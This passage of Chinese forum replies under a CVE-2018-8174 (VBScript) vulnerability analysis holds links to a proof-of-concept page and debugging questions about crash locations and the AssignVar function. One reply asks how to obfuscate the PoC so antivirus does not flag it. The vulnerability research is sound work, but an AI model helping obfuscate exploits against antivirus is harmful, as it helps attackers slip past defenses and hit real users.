https://test.lr3800.com/CVE-2018-8174_PoC.html   老哥的样本和这个有啥不一样 ,这个样本直接弹计算器
雪    币: 3874
活跃值: (616)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
来杯柠檬红茶 3 2019-5-9 13:34
12
0
https://test.lr3800.com/CVE-2018-8174_PoC.html  的poc是混淆过的 很难看
最后于 2019-5-9 13:34 被来杯柠檬红茶编辑 ,原因:
雪    币: 10
活跃值: (557)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_三五瓶 2019-5-11 13:06
13
0
杀毒直接报毒   有什么办法混淆他让杀毒查不出这个poc
雪    币: 11969
活跃值: (4603)
能力值: ( LV5,RANK:77 )
在线值:
发帖
回帖
粉丝
qux 2019-6-20 14:54
14
0
你好,我按这个过程复现的时候,windbg捕获到崩溃时,显示的是在VariantCopy就异常了,不是在VariantClear。

请问你遇到过这种情况吗?
雪    币: 11969
活跃值: (4603)
能力值: ( LV5,RANK:77 )
在线值:
发帖
回帖
粉丝
qux 2019-6-24 16:45
15
0
qux 你好,我按这个过程复现的时候,windbg捕获到崩溃时,显示的是在VariantCopy就异常了,不是在VariantClear。请问你遇到过这种情况吗?
好像设置了windbg的Symbol path 就会这样(C:\Symbols;SRV*C:\Symbols*http://msdl.microsoft.com/downloads/symbols)
如果不设置,会在VariantClear异常,不知道原因
雪    币: 3874
活跃值: (616)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
来杯柠檬红茶 3 2019-6-26 14:04
16
0
qux 好像设置了windbg的Symbol path 就会这样(C:\Symbols;SRV*C:\Symbols*http://msdl.microsoft.com/downloads/symbols) ...
仔细看 3.2 崩溃EIP处信息, 崩溃位置就是那里, 没错
雪    币: 19
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_Small Fish 2019-7-11 22:42
17
0
你好,我按照你的步骤调试这个漏洞,在用x64dbg分析的时候,没有找到VBScript.dll这个模块是什么情况呢?求指点~
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_xlvigjpw 2019-11-29 06:26
18
0
你好,vbscript 做成网页在客户端可以执行?
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
护花使者cxy 2020-3-22 01:17
19
0
你是怎么逆向出 AssignVar 函数是变量赋值的关键函数的,通过 COM 的 VARIANTAGE 的参数判断的吗
雪    币: 3874
活跃值: (616)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
来杯柠檬红茶 3 2020-3-24 15:43
20
0
护花使者cxy 你是怎么逆向出 AssignVar 函数是变量赋值的关键函数的,通过 COM 的 VARIANTAGE 的参数判断的吗
一个脚本引擎必须要有一个可通用数据类型的变量赋值函数 这也是脚本语言相对于C/C++的便利之处
因此这个函数是引擎变量操作这块的核心函数
雪    币: 73
活跃值: (893)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hixhi 2020-3-24 17:49
21
0
学习了,回头操作下,看着有点懵逼。
游客
登录 | 注册 方可回帖
返回